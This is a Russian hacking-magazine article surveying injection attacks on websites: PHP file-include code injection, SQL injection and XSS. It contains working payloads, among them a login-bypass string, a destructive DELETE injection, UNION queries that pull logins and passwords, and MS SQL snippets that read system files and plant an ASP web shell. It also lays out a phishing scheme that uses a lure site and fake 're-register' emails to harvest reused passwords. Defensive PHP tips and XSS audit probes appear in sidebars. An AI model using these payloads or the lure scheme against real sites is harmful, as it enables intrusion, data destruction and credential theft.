внутримышечно и внутривенно БОРИС ВОЛЬФСОН Хакер, номер #075, стр. 030 BORISVOLFSON@GMAIL.COM, HTTP://SPLENDOT.COM ОБЗОР ТЕХНОЛОГИЙ ВЗЛОМА ВЕБ-РЕСУРСОВ ПРАКТИЧЕСКИ ЛЮБОЙ САЙТ МОЖНО «УБИТЬ» ПРИ ПОМОЩИ СМЕРТЕЛЬНЫХ ИНЪЕКЦИЙ. ТАКОЙ УКОЛ МОЖНО СДЕЛАТЬ ТРЕМЯ СПОСОБАМИ: ИНЪЕКЦИЕЙ КОДА, ИНЪЕКЦИЕЙ SQL И МЕЖСАЙТОВЫМИ СКРИПТАМИ. ПРО ВСЕ ТРИ ВИДА ПИСАЛОСЬ ОЧЕНЬ МНОГО СТАТЕЙ, В ЭТОМ ЖЕ МАТЕРИАЛЕ Я ХОЧУ НЕ ПРОСТО РАССКАЗАТЬ, НО И ПРОАНАЛИЗИРОВАТЬ ВСЕ ВИДЫ ИНЪЕКЦИЙ [сode injection.] «Этот вид уязвимостей, слава Богу, потихоньку отмирает и фактически встречается только на самописных сайтах», - такие мысли бродили у меня в голове перед написанием статьи. «Во-первых, чтобы такую дыру сделать, нужно написать реально кривой код. Во-вторых, это один из самых старых и хорошо описанных видов уязвимостей»… «в общем, кратко коснемся темы инъекции кода, и тут же перейдем к нормальным уязвимостям». Именно так я и рассуждал, поэтому за текущими новостями по теме сходил в google чисто для проформы. Каково же было мое удивление, когда по запросу «code injection» я нашел информацию о дырках в довольно известных системах ведения блогов и управления контентом. В теории все выглядит просто: есть скрипт, исполняемый на сервере, в который взломщику необходимо встроить свой код. Провернуть такую махинацию довольно просто, если соблюдены два условия. Во-первых, веб-разработчик должен использовать конструкцию include с параметром переменной, а во-вторых, должен плохо проверять данные, поступающие от пользователя. Наиболее часто такая ситуация возникает в простых скриптах: листинг Язык: HTML + PHP <!—- Заголовок --> <?php include ($page); ?> <!—- Завершающая часть --> Соответственно, работа идет со ссылками типа http://tralivali/index.php?page=about.php. Самое безобидное, что можно сделать – это просмотреть информацию о PHP (и не только): листинг Язык: PHP <?php phpinfo(); ?> Создав такой файл у себя на сервере, просто включаем его в запрос вместо about.php – и видим всю информацию на экране. Таким образом, мы внедрили произвольный код в скрипт на сервере и получили необходимую информацию. Но это только цветочки, ведь можно при помощи PHP сделать все, что нашей душе угодно. Написав вышеописанный пример, я задумался о его наигранности и зашел в Гугл. Каково же было мое удивление, что по соответствующему запросу 3 сайта из первой десятки были уязвимы. Воистину - день открытий ;). [SQL Injection.] Приступим ко второму блюду – вместо борща у нас инъекция SQL. Давным-давно, когда по земле еще ходили динозавры, веб-программеры использовали для хранения данных текстовые файлы. Потом, когда человек изобрел колесо, веб-разработчики придумали базы данных и стали хранить все в них. И было всем счастье – и список пользователей туда засунуть можно, и все документы на сайте положить. Но однажды один умелец случайно ввел в форму апостроф, и выдал скрипт SQL-ошибку. Прочитал умелец сообщение, подумал немного и ввел вместо апострофа Листинг Язык: SQL ПРИМЕЧАНИЕ: Сделать листинг встроенным в предложение ' OR '1'='1’ ,еще немного поколдовал и стал с тех пор администратором. На том и сайту конец, а кто понял – молодец. А кто не понял – для тех поясню ;). Работа с базой ведется на языке SQL, например, чтобы проверить, что пользователь существует, можно сделать такой запрос по логину: Листинг Язык: SQL SELECT * FROM users WHERE username='$username' А теперь подставь в запрос апостроф или ' OR '1'='1’ и посмотри, что получится. Фактически, мы можем выполнить произвольный SQL-запрос, и случиться что-нибудь нехорошее: Листинг Язык: SQL '; DELETE FROM customers WHERE 1 or username = ' Хочу кинуть еще пару хороших идей, как можно воспользоваться SQL-инъекцией. Для этого мы рассмотрим детали диалектов языка SQL у разных производителей. Начнем с MySQL, который делает то, что я от него ни как не ожидал ;). А проблема проста: если SELECT-запрос подвержен инъекции, то не факт, что его результат будет выведен на экран, но если внимательно почитать руководство по MySQL, то можно найти замечательный функционал – результат запроса можно перенаправить в файл! Листинг Язык: SQL SELECT <поля> FROM <таблица> INTO OUTFILE '<файл>'; Теперь осталось найти каталог, который нас приютит. В случае с CMS все решается довольно просто – почти всегда есть каталог для загрузки файлов upload. Именно в такой каталог и стоит перенаправлять вывод. Начиная с четвертой версии, MySQL поддерживает объединение запросов при помощи команды UNION. Таким образом, можно вывести дополнительную информацию из произвольной таблицы. Посмотрим, как это выглядит на примере: Листинг Язык: SQL SELECT title, description FROM articles WHERE id=’$id’; Title и description имеют тип varchar, поэтому переменной $id нужно присвоить такое значение, чтобы при подстановке получился следующий запрос: Листинг Язык: SQL SELECT title, description FROM articles WHERE id=’123123’ UNION SELECT login, password FROM users; /* ‘; Обрати внимание, как я использовал комментарий – при Union-инъекциях – это стандартная практика отсечения ненужной части строки. MS SQL Server – вообще штука веселая. При помощи SQL на нем можно даже запускать приложения. Конкретные примеры инъекций смотри на врезке и пользуйся на здоровье ;). [XSS.] Я слежу за новостными рассылками о дырах в безопасности одной CMS. Процентов 99 уязвимостей в модулях этой системы – XSS. Этим-то и опасен данный вид инъекций – от него чрезвычайно трудно защититься, и XSS порой подвержены даже популярные движки и крупные сайты (а-ля MySpace). В наше время на большинстве сайтов пользователи имеют возможность создавать свои материалы и комментировать чужие. Для красивого оформления пользователю дается возможность вводить данные в формате HTML. Ввод HTML-кода может быть разрешен напрямую, либо при помощи WYSIWYG-редактора. Казалось бы, все довольны! Особенно взломщики ;). Есть хорошая пословица: «Где HTML, там и JavaScript». Таким образом, при вводе можно использовать тег <script> для исполнения произвольного JavaScript (и не только его, кстати). А если мы можем использовать скрипты, которые исполняются на стороне пользователя, значит, мы можем украсть его куки! А тут уже и до взлома аккаунта недалеко… [фрагментированные XSS-атаки.] Часто бывает так, что информация, вводимая пользователем, хорошо фильтруется, и к форме на кривой козе не подступишься. Но если в ней несколько полей, например, «название материалов» и «содержание материалов», то можно попробовать более сложный вид атаки – фрагментированный. При таком подходе, необходимо, чтобы данные из разных полей формы выводились последовательно, и тогда появляется вероятность того, что вместе «безобидные строчки» станут грозным оружием. [сравнение и анализ.] У всех описанных выше атак много общего. Как правило, они производятся на хорошо защищенный и настроенный сервер. То есть, по части администрирования вопросов не возникает, поэтому приходится искать пробелы в работе программистов. Самой опасной, на мой взгляд, дырой является возможность выполнить произвольный PHP-код на стороне сервера, после чего можно получить доступ к базам данных и выполнить JavaScript. По распространенности сейчас лидируют XSS-атаки, чуть отстали SQL-инъекции. Поясню – пик использования SQL-инъекций прошел некоторое время назад: вспомните хотя бы бесконечные недоработки PHP-Nuke :). Что же касается инъекций кода, то скрипты, подверженные этим болезням, водятся только в самописном или незащищенном коде, хотя есть и исключения из этого правила. Переходим к сложностям защиты. Здесь в лидерах XSS, немного отстает SQL, и позади - инъекции PHP-кода. Чтобы понять, почему именно так распределились призовые места, нужно взвесить, сколько уходит времени (денег) на защиту от той или иной напасти. Перечень исходников с названием, которое указано в скобках в начале каждого скрипта Название: СНИПЕТЫ MSSQL-ИНЪЕКЦИЙ ДЛЯ ACTIVEX Источник: «Advanced SQL Injection In SQL Server Applications» [Запускаем блокнот.] declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' [Смотрим файл boot.ini] declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end [Получаем shell] declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>' [Сервер говорит, что он захвачен] declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528 waitfor delay '00:00:05' Список с названиями Название: АУДИТ XSS-УЯЗВИМОСТЕЙ Источник: «HTML Code Injection and Cross-site scripting» ПРИМЕЧАНИЕ: Укажите обязательно источник [проверка форм на исполнение скрипта.] Открываем HTML-страницу для аудита и в каждое поле поочередно вводим следующее: Листинг <script>alert('CSS Vulnerable')</script> <img csstest=javascript:alert('CSS Vulnerable')> &{alert('CSS Vulnerable')}; Дальше жмем кнопку «Отправить», и если в результате выскакивает сообщение или появляются ошибки на страничке, то форма уязвима. [Проверка GET-запросов на исполнения скрипта.] Теперь то же самое делаем ссылками вида «?var=qwerty» (не помешало бы аналогичным образом проверить и куки). [HTML-инъекция.] Во все элементы ввода пробуем вставить '';!--"<CSS_Check>=&{()}. Строка начинается с двух апострофов и заканчивается фигурной скобкой. На следующей странице ищем «<CS_Check>» (без кавычек), если нашли, то страница уязвима. Также остается возможность взлома, если часть символов не заэкранировалась. Текст Название: ПОИСК УЯЗВИМОСТЕЙ ТИПА CODE INJECTION Источник: «Ten Security Checks for PHP» ПРИМЕЧАНИЕ: Укажите обязательно источник Старайся не использовать переменные в качестве параметров у функций readfile, fopen, file, include, require. Если подобный функционал все-таки необходим, то можно попробовать заменить переменные константами. При использовании переменных следует ограничить файлы, которые могут быть использованы заранее определенным списком: листинг Язык: PHP $valid_file = array( "index.php" => "", "funct.php" => "", "common.php" => ""); if (!isset($valid_files[$page])) { die("Данный файл нельзя использовать"); } Если нам действительно необходимо использовать файл, имя которого определяется динамически, тогда стоит проверять его регулярным выражением: листинг Язык: PHP if ( !(eregi("^[a-z_./]*$", $page) && !eregi("\\.\\.", $page)) ) { die("Данный файл нельзя использовать"); } В любом случае будет также полезно настроить опции allow_url_fopen и open_basedir в файле php.ini. Социальный инжиниринг by example Чтобы узнать пароль человека, можно использовать свои знания веб-технологий или его доверчивость. Это обычно называют социальным инжинирингом. Хочу рассказать один пример подобного приема, надеюсь, ты сделаешь выводы :). Цель: получить логин и пароль человека его аккаунта на сайте. Информация: человек очень любит XXX. «XXX» – это не то, о чем ты подумал, а произвольная тема, которой увлекается потенциальная жертва ;). Для начала необходимо сделать сайт на эту тему с большим количеством информации. Кроме материалов на сайте будет возможность их комментирования или, скажем, форум. И для того, чтобы стать активным пользователем сайта, надо зарегистрироваться на нем. А вот тут - самое интересное: у многих людей на всех сайтах пароли одинаковые! В таком случае может возникнуть две проблемы: жертва может либо не зарегистрироваться на сайте, либо пароль может быть другим. Поэтому сайт надо наполнить интересными материалами и дать незарегистрированным пользователям возможность просматривать только их часть. Вторая проблема намного серьезней, но и из нее можно извлечь определенную пользу. Во-первых, пароль может дать информацию о том, как жертва придумывает пароли. Во-вторых, можно обнулить его пароль и прислать письмо «У нас база полетела, зарегистрируйтесь еще раз» :). Выводы: придумывайте пароли разные и длинные - Df!2fHgo#_^_yW47M, например. MS SQL SERVER ПОЗВОЛЯЕТ РАБОТАТЬ НЕ ТОЛЬКО С БАЗАМИ ДАННЫХ, НО И СИСТЕМОЙ В ЦЕЛОМ, ПОЭТОМУ SQL-ИНЪЕКЦИЯ ДЛЯ НЕГО ПРАКТИЧЕСКИ РАВНА ИНЪЕКЦИИ КОДА В СКРИПТ ЕСЛИ НА АТАКУЕМОМ СЕРВЕРЕ ИСПОЛЬЗУЕТСЯ ДИРЕКТИВА MAGIC_QUOTES, ТО НЕОБХОДИМО ИСПОЛЬЗОВАТЬ ФУНКЦИЮ CHAR() |